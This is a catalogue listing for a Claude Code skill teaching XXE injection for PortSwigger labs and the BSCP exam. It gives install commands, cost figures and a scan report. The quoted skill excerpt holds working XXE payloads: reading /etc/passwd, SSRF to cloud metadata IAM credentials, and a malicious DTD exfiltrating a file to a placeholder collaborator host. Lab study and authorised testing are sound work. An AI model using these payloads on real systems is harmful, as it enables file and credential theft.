XXE Injection — Complete Deep Dive

XXE Injection — Complete Deep Dive is a skill for Claude Code from akashrpatil/awesome-offensive-security-skills. It costs 27 tokens per session (1,611 once invoked), scanned B, a copy of CORS Misconfiguration — Complete Deep Dive, Apache-2.0.

A hands-on guide to XML External Entity (XXE) flaws, where an application processes unsafe XML and may read files or make network requests. It covers PortSwigger training labs and testing techniques.

In plain words
What is it for?
Studying for the Burp Suite Certified Practitioner exam, practising XXE labs, and assessing approved web applications for file access, server-side requests, or related exploit chains.
Why use it?
It gives learners a structured way to recognise and validate XXE issues instead of guessing at payloads. Use it only for authorised security testing.

Skill for Claude Code

Written for Claude Code: shipped in a Claude Code plugin.

Needs its repository: it reads a path above its own folder, which exists only inside the repository. The line is - [`_shared/references/elite-chaining-strategy.md`](../_shared/references/elite-chaining-strategy.md) — Exploit chaining methodology and high-payout chain patte.

Part of the cyberskills-elite plugin — 191 skills shipped together

Good fit Studying for the Burp Suite Certified Practitioner exam, practising XXE labs, and assessing approved web applications for file access, server-side requests, or related exploit chains.

Compare 6 skills from other repositories ↓
Install

Getting it into your agent

It runs from inside its repository, so the clone comes first — what it calls does not travel with the file alone.

Clone the repo
git clone --depth 1 https://github.com/akashrpatil/awesome-offensive-security-skills
agentmods
npx agentmods add skills/akashrpatil/awesome-offensive-security-skills/xxe

Made for: Claude Code.

Or install cyberskills-elite, the plugin that ships this one along with the rest of its 191 skills.

Wrote this? Show the measurements

A badge with what this costs and how it scanned, read live from this page, so it follows the numbers instead of freezing them. Markdown for a README, HTML for a documentation site or a project page.

agentmods badge for XXE Injection — Complete Deep Dive

README.md
[![agentmods](https://agentmods.dev/badge/skills/akashrpatil/awesome-offensive-security-skills/xxe/github.svg)](https://agentmods.dev/skills/akashrpatil/awesome-offensive-security-skills/xxe)
Your own site
<a href="https://agentmods.dev/skills/akashrpatil/awesome-offensive-security-skills/xxe"><img src="https://agentmods.dev/badge/skills/akashrpatil/awesome-offensive-security-skills/xxe/github.svg" alt="Measured on agentmods" height="20"></a>

Or the 80×15 button, for a site that already has a row of RSS and ATOM ones. Only the verdict fits; the numbers stay here.

agentmods 80×15 button for XXE Injection — Complete Deep Dive

Your own site · 80×15
<a href="https://agentmods.dev/skills/akashrpatil/awesome-offensive-security-skills/xxe"><img src="https://agentmods.dev/badge/skills/akashrpatil/awesome-offensive-security-skills/xxe.svg" alt="Reviewed on agentmods" width="80" height="20"></a>
Per session 27 Skills are progressive disclosure: only the name and description are preloaded; the body loads when the skill is used.
When invoked 1,611 The whole file, excluding the scripts and references it only reads on demand.
Security scan B 2 findings. A grade says what 26 rules found in the file — not that it is safe.
Origin 83% copy Near-identical to another mod in the catalogue.
Token cost

What it costs to keep this loaded

Counted locally with the o200k_base tokenizer, which is exact for GPT models; Claude uses its own tokenizer and its counts differ. Treat this as one consistent yardstick across the catalogue rather than a bill. Prices are per million input tokens.

ModelPer sessionOnce invoked
Fable 5.1 $0.00027 $0.01611
Opus 5 $0.00014 $0.00805
Sonnet 5 $0.00005 $0.00322
Haiku 4.5 $0.00003 $0.00161

Measured 8d ago against content hash d6aa6e686b0e, method: parsed. Prices are Anthropic first-party input rates as of 2026-09-11, from the pricing page.

Security

Grade B, and why

XXE Injection — Complete Deep Dive scanned grade B with 2 findings against 26 rules in 11 categories — prompt injection, anti-refusal, data exfiltration, privilege escalation, supply chain, agent snooping, system-prompt leakage, SSRF and excessive agency — measured 8d ago.

The scan reads SKILL.md. This mod also ships 1 executable file (scripts/process.py), listed below but not scanned — reading those needs a real analyzer, not pattern matching.

A static scan of the body, not an audit. Every finding is printed with the line that produced it so you can judge whether it matters here. A mod is markdown that instructs an agent; that is exactly why what it instructs is worth reading.

Cloud metadata endpointmediumServer-side request forgery

One request to 169.254.169.254 can return temporary IAM credentials.

<!DOCTYPE foo [<!ENTITY xxe SYSTEM "http://169.254.169.254/latest/meta-data/iam/security-credentials/admin">]>

Downgraded: this mod is about security review, or the phrase is quoted, so it is likely naming the pattern rather than instructing it.

Makes network callslowCapability

Not a fault in itself. Listed so you know the mod talks to something, and to what.

tools: [burp-suite, curl, sqlmap, ffuf, python]
Origin

This is a copy

83% identical to CORS Misconfiguration — Complete Deep Dive — 89 lines differ, which has more behind it and is treated as the original. This page carries a canonical link to it rather than competing with it.

skills/bug-hunting/deep-dive-labs/xxe/SKILL.md · 169 lines

How it starts

The opening of the file, as written. The whole thing — 169 lines — stays where its author put it; the contents beside it link to each section on GitHub.

XXE Injection — Complete Deep Dive

Deep-Dive Lab Playbook — Every PortSwigger lab variant with exact payloads, bypass techniques, and zero-day extensions. Difficulty: 🟢 Apprentice 🟡 Practitioner 🔴 Expert

When to Use

  • Studying for BSCP (Burp Suite Certified Practitioner) certification
  • Testing real-world targets for these vulnerability classes
  • Bug bounty hunting — these exact techniques find real bugs
  • Building exploitation chains

Prerequisites

  • Burp Suite Professional (Community works for most)
  • Browser with proxy configured
  • Burp Collaborator or interactsh for OOB testing

Workflow

Phase 1: Reconnaissance

  • Identify input vectors, parameters, and application behavior.

Phase 2: Exploitation

  • Apply standard lab payloads.

Phase 3: Zero-Day Escalation

  • Fuzz filters, bypass WAFs, and chain with other vulns.

Lab Playbooks

Lab 1: External entities retrieve files 🟢 APPRENTICE

<?xml version="1.0"?>
<!DOCTYPE foo [<!ENTITY xxe SYSTEM "file:///etc/passwd">]>
<stockCheck><productId>&xxe;</productId><storeId>1</storeId></stockCheck>

Lab 2: XXE to perform SSRF 🟢 APPRENTICE

<!DOCTYPE foo [<!ENTITY xxe SYSTEM "http://169.254.169.254/latest/meta-data/iam/security-credentials/admin">]>
<stockCheck><productId>&xxe;</productId><storeId>1</storeId></stockCheck>

Lab 3: Blind XXE out-of-band 🟡 PRACTITIONER

<!DOCTYPE foo [<!ENTITY xxe SYSTEM "http://BURP-COLLAB.net/xxe">]>
<stockCheck><productId>&xxe;</productId><storeId>1</storeId></stockCheck>

Lab 4: Blind XXE via parameter entities 🟡 PRACTITIONER

<!DOCTYPE foo [<!ENTITY % xxe SYSTEM "http://BURP-COLLAB.net/xxe"> %xxe;]>

Parameter entities (%) work when regular entities are blocked.

Lab 5: Blind XXE exfiltrate via malicious DTD 🟡 PRACTITIONER

Host DTD on exploit server:

<!ENTITY % file SYSTEM "file:///etc/hostname">
<!ENTITY % eval "<!ENTITY &#x25; exfil SYSTEM 'http://COLLAB/?x=%file;'>">
%eval; %exfil;

Then: <!DOCTYPE foo [<!ENTITY % xxe SYSTEM "https://EXPLOIT-SERVER/dtd"> %xxe;]>

Read the full file on GitHub · 169 lines

Files

What ships with it

1 file beside SKILL.md in the same directory: the scripts, references and assets a skill reads on demand. Not counted in the per-session cost; read them before you install if any of them is executable.

Changes

What this file has done since we first saw it

Hashed on every crawl. A supply-chain change to an agent config is a question of when, not whether, so the history is kept rather than the latest state alone.

  1. 8d ago First seen · 169 lines · 27 tokens per session scan B d6aa6e686b0e

Subscribe to this mod's changes

XXE Injection — Complete Deep Dive is a skill published in the GitHub repository akashrpatil/awesome-offensive-security-skills (4 stars, last pushed 4mo ago), licensed Apache-2.0. It adds 27 tokens to every session and 1,611 once invoked, about $0.0001 per session on Opus 5. A static security scan graded it B with 2 findings (cloud metadata endpoint, makes network calls). It is 83% identical to CORS Misconfiguration — Complete Deep Dive, differing in 89 lines, and is treated as a copy.